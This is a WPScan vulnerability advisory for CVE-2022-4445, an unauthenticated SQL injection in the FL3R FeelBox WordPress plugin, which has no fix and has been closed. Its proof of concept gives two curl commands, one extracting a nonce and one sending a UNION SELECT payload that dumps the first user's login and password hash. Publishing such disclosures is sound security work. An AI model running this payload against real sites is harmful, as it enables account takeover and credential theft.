WPScan
How it worksPricing
Vulnerabilities
WordPressPluginsThemesStatsSubmit vulnerabilities
For developers
StatusAPI detailsCLI scanner
Contact
WPScan
How it worksPricing
Vulnerabilities
WordPressPluginsThemesStatsSubmit vulnerabilities
For developers
StatusAPI detailsCLI scanner
Contact

WordPress Plugin Vulnerabilities

FL3R FeelBox <= 8.1 - Unauthenticated SQLi

Description

The plugin does not properly sanitise and escape a parameter before using it in a SQL statement via an AJAX action available to unauthenticated users, leading to a SQL injection.

Proof of Concept

1. Visit a blog post and extract the nonce from the source (search for "feelboxAjax", and extract the "token")

    curl -s 'http://127.0.0.1:7777/?p=1' | grep 'token'

2. Invoke the following curl command, with the just obtained nonce (token), to disclose the first user's username and password hash:

    curl 'http://127.0.0.1:7777/wp-admin/admin-ajax.php?action=populate_post' \
        --data 'token=<NONCE HERE>&postID=1 UNION ALL SELECT 1,1,CONCAT((SELECT user_login FROM wp_users),CHR(0x3a),(SELECT user_pass FROM wp_users)),1,1,1,1-- -' 

Affects Plugins

fl3r-feelbox
No known fix - plugin closed

References

CVE
CVE-2022-4445

Classification

Type

SQLI

OWASP top 10
A1: Injection
CWE
CWE-89

Miscellaneous

Original Researcher

cydave

Submitter

cydave

Submitter website
https://cyllective.com/
Submitter twitter
cyllective
Verified

Yes

WPVDB ID
9bb6fde0-1347-496b-be03-3512e6b7e8f8

Timeline

Publicly Published

2023-01-20 (about 8 months ago)

Added

2023-01-20 (about 8 months ago)

Last Updated

2023-01-20 (about 8 months ago)

Our Other Services

WPScan WordPress Security Plugin
WPScan

Vulnerabilities

WordPressPluginsThemesOur StatsSubmit vulnerabilities

About

How it worksPricingWordPress pluginNewsContact

For Developers

StatusAPI detailsCLI scanner

Other

PrivacyTerms of serviceSubmission termsDisclosure policyPrivacy Notice for California Users
jetpackIn partnership with Jetpack
githubtwitterfacebook
Angithubendeavor
Work With Us